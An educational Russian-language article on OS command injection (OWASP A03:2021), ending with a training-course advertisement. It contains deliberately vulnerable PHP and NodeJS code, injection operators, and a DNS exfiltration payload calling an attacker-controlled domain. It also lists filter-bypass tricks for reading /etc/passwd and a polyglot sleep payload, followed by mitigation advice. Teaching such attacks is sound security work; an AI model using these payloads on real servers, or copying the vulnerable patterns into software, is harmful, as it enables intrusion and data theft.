Автор статьи: Neo

OWASP TOP TEN 2021

OWASP Top Ten 2021 — это список десяти наиболее критичных угроз безопасности веб-приложений, регулярно обновляемый сообществом OWASP (Open Web Application Security Project).

Его цель — повысить осведомлённость разработчиков, тестировщиков и компаний о наиболее распространённых и опасных уязвимостях в вебе. Текущая итерация 2021 года скоро будет обновлена и дополнена в конце 2025 (уязвимости сменят места, некоторые пропадут из списка и добавятся новые).
Сегодня под нашим пристальным взглядом окажется третий пункт текущего списка: A03:2021 — Injections. «A03:2021-Injection. 94% приложений были протестированы на наличие той или иной формы внедрения, и 33 вида CWE, отнесённые к этой категории, занимают второе место по частоте встречаемости в приложениях. XSS теперь входит в эту категорию в этом выпуске.» В категории царит разнообразие: тут и SQL-injection для баз данных, и менее критичные XSS, и еще куча менее тривиального: NoSQL, OGNL injection, LDAP injection.

Сегодня нас будут интересовать одни из наиболее критичных вариантов — OS command injection. Когда речь идёт о OS command injection, контролируемый пользователем ввод должен напрямую или косвенно попадать в веб-запрос, выполняющий системные команды (или каким-либо образом влиять на него). Все языки веб-программирования обладают различными функциями, позволяющими разработчику выполнять команды операционной системы непосредственно на внутреннем сервере в любое время.

Это может использоваться для различных целей, например, для установки плагинов или запуска определённых приложений.
Рассмотрим тривиальные примеры такого уязвимого кода, который может привести к эксплуатации уязвимостей.
<?php
if (isset($_GET['filename'])) {
   system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>
Предположим, что у нас есть возможность создания PDF-документов в /tmp с именем, указанным пользователем, который затем будет интерпретирован сервером. Данные, введенные пользователем из параметра filename в GET-запросе, используются непосредственно в команде touch (без любого экранирования), веб-приложение становится уязвимым к внедрению команд ОС.

Конечно, такие ситуации могут происходить на любой языке программирования, просто начинать рассказ с php уже классика. Можно привести аналогичный пример и на других, например NodeJS.
app.get("/createfile", function(req, res){
    child_process.exec(`touch /tmp/${req.query.filename}.txt`);
})
Через что мы будем внедрять наши команды? Через различные спецсимволы, которые будут различаться от контекста операционной системы. Ниже представленные работают и в Unix-based и в Windows системах:

 — &
 — &&
 — |
 — ||
 — ; Unix-only
 — (0x0a или \n) Unix-only

Подобные операторы встречаются в той или иной степени в большинстве инъекций.

; — Позволяет выполнять несколько команд последовательно.
&& — Вторая команда выполняется только в том случае, если первая команда выполнена
успешно.
|| — Выполните вторую команду только в том случае, если первая команда
завершилась ошибкой (возвращает ненулевой статус завершения).
& — Выполните команду в фоновом режиме, что позволит пользователю продолжить работу с командной оболочкой.
| — Принимает выходные данные первой команды и использует их в качестве входных данных для второй команды.
Также, в unix-based системах есть операторы для выполнения встроенного выполнения вставленной команды в пределах исходной команды:
`injection`
$(injection)
А что будем исполнять при помощи представленных спецсимволов? В целом — все, на что хватает фантазии. Многое зависит от контекста в данной ситуации: права на уязвимом сервере, используемая ОС, цель атакующего и так далее. Полезно (и безвредно для целевой системы) собрать как можно больше информацию о сервере.

Суть команды

Linux
Windows

Текущий пользователь

whoami

whoami

ОС
uname -a
ver
Сетевая конфигурация
ifconfig
ipconfig /all
Состояния сетевых интерфейсов
netstat -an
netstat -an
Запущенные процессы
ps -ef
tasklist
Но никто не мешает прокинуть и reverse shell при наличии условий для этого.
Предположим, что у нас есть приложение, в котором есть неприметный POST-запрос с проверкой товаров на наличие, в котором есть всего два параметра: productId=1&storeId=1 Используя все полученные знания об этом, мы можем попытаться осуществить OS command injection в каком-то из параметров.

Перебирая операторы и нагрузки из представленных выше, мы видим, что на инъекцию реагирует параметр storeId. В самом простом варианте мы можем просто объединить параметр и нашу инъекцию, используя |, и в таком случае нагрузка в нашем POST-запросе будет выглядеть следующим образом: productId=1&storeId=1|ls

Конечно, такие ситуации — невероятная редкость. И в основном мы будем иметь дело с blind OS command injection.
В таком случае у нас есть два варианта извлечения данных: через временные задержки и DNS.

В случае временных задержек принцип идентичен такому же сценарию, как, например, в Time-based SQLi. Для детектирования слепых уязвимостей можно использовать обычный ping — мы будем заставлять сервер пинговать сам себя некоторое время, что укажет нам на успешное выполнение команды.

||ping±c+5+127.0.0.1|| Мы будем посимвольно извлекать данные, проводя посимвольные сравнения. Если сравнение будет истинно — будет небольшая задержка ответа, в ином случае ответ от сервера вернется без дополнительной задержки. В таком случае, при наличии достаточного количества времени можно посимвольно воссоздавать извлекаемые данные.
if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
Если извлекаемый нами в ответе символ совпадает с «a» — произойдет задержка. После чего перебрав всевозможные варианты мы восстановим исходный ответ от сервера.
В случае извлечения данных через DNS, мы будем осуществлять nslookup на подконтрольный нам ресурс.

Можно использовать для этого Collaborator в Burp Suite, но домены из него чаще всего просто заблокируются СЗИ, и поэтому лучше взять другие сервисы\утилиты, что уже — на вкус и цвет (https://github.com/ettic-team/dnsbin, например).

Инъекция в уязвимый параметр в таком случае будет выглядеть подобным образом:
& nslookup+`whoami`.your-domain.com &
Все это команды в чистом виде, которые в дикой природе встречаются редко. Вероятно, первое, что можно встретить при попытке эксплуатации OS command injection — фильтры самых разных сортов.
Поэтому нужно поговорить и о способах их обхода. Самое первое, что поможет нам в этом деле — переменные окружения оболочки. ${IFS} — это специальная переменная оболочки, называемая Internal Field Separator. По умолчанию во многих оболочках она содержит пробельные символы (пробел, табуляция, новая строка) и поможет нам в обходе фильтров.
cat${IFS}/etc/passwd
На самом деле, имея немного фантазии и интернет под рукой из подобных переменных при помощи срезов можно получить большое количество символов, которые может фильтровать приложение.
${PATH:0:1} - вернет нам /
${LS_COLORS:10:1} - вернет нам ;
В некоторых случаях может помочь обычный Tab (%09) вместо пробела. Еще один метод — Bash
Brace Expansion, который добавляет разделитель между указанными в нем командами, но работает это не со всеми оболочками.
{ls,-la}
Верным помощником может также стать сдвиг символов по таблице ASCII:
echo $(tr '!-}' '"-~'<<<[) — вернет нам \, потому что он на 92 месте, а на 91 [
А теперь мы медленно вдыхаем и начинаем по-настоящему: Команды можно разбить на части с помощью \, за которой следует новая строка.
$ cat
/et\
c/pa\
sswd
И вы же не забыли про URl-encode, верно?
cat%20/et%5C%0Ac/pa%5C%0Asswd
Старый добрый HEX также работает:
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
вернет /etc/passw
В зависимости от среды, где исполняется команда, может работать и следующее:
wHoAMi - case-insensetive
w'h'o'am'i - одиночные кавычки (обязательно закрывать)
w"h"oam"i" - двойные кавычки
w``hoami - обратные кавычки
w\h\o\ami - слэш
who$()ami - in-line оператор
Полиглот — это фрагмент кода, который является допустимым и исполняемым на нескольких языках программирования или в нескольких средах одновременно.

Когда мы говорим о «внедрении команды полиглота», мы имеем в виду полезную нагрузку, которая может быть выполнена в нескольких контекстах или средах. И как вишенка на торте — в теме OS command injection тоже есть полиглоты.
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
Нам всегда следует избегать использования функций, которые выполняют системные команды, особенно если мы используем для них пользовательский ввод. Даже если мы не используем пользовательский ввод напрямую в этих функциях, пользователь может косвенно влиять на них, что в конечном итоге может привести к уязвимости при внедрении команд.

Вместо использования системных функций выполнения команд нам следует использовать встроенные функции, которые выполняют необходимую функциональность, поскольку серверные языки обычно имеют безопасные реализации таких функций.

Если нам нужно выполнить системную команду, а встроенной функции для выполнения такой же функции не найдено, мы НИКОГДА не должны напрямую использовать пользовательский ввод с помощью этих функций, но всегда должны проверять и очищать пользовательский ввод на сервере. Кроме того, мы должны постараться максимально ограничить использование этих типов функций и использовать их только тогда, когда нет встроенной альтернативы требуемой нам функциональности.
Помимо этого, следует также уделить внимание конфигурации самого веб-сервера:

 — Использовать встроенный WAF веб-сервера (например, в Apache — mod_security) в дополнение к внешнему WAF (например, Cloudflare, Fortinet, Imperva).

 — Соблюдать принцип наименьших привилегий (PoLP) — запускать веб-сервер под
пользователем с минимальными правами (например, www-data).
 — Запретить выполнение отдельных функций веб-сервером, если они не нужны (например,
в PHP: disable_functions = system, )

 — Ограничить область доступа веб-приложения его директорией, чтобы процесс мог
работать только в пределах приложения (например, в PHP: open_basedir =
'/var/www/html').

 — Отклонять double-encoded запросы и не-ASCII символы в URL — это снижает шанс обхода фильтров и неправильной интерпретации путей.

 — Избегать использования уязвимых или устаревших библиотек/модулей (например, PHP CGI) — обновляйте зависимости и удаляйте ненужные компоненты. Конечно же, стоит уделить пристальное внимание и валидации/очищению пользовательского ввода как на стороне приложения, так и на стороне пользователя. Методы и средства этого варьируются от языка к языку. Например, базовая очистка от всего, кроме цифр и точек:
let raw = req.query.ip || '';
let clean = raw.replace(/[^0-9.]/g, '');
if (re.test(clean)) {
  res.send(`OK: ${clean}`);
} else {
  res.status(400).send('Invalid after sanitize');
}
Возможность получить налоговый вычет 13%
Банковская рассрочка от 3 до 36 месяцев
Возврат средств
за неиспользованную часть
программы, если обучение не подойдёт
Помощь в оплате программы через работодателя
по цене 1
2 курса
в CyberED
Если оставите заявку до 31 декабря, вы сможете купить обучение по цене 2025 года, а начать позже.
С января 2026 года стоимость программ повысится.
Основной курс в формате с преподавателем»
01
2й курс на выбор в формате «в своём темпе» — в подарок.
02
+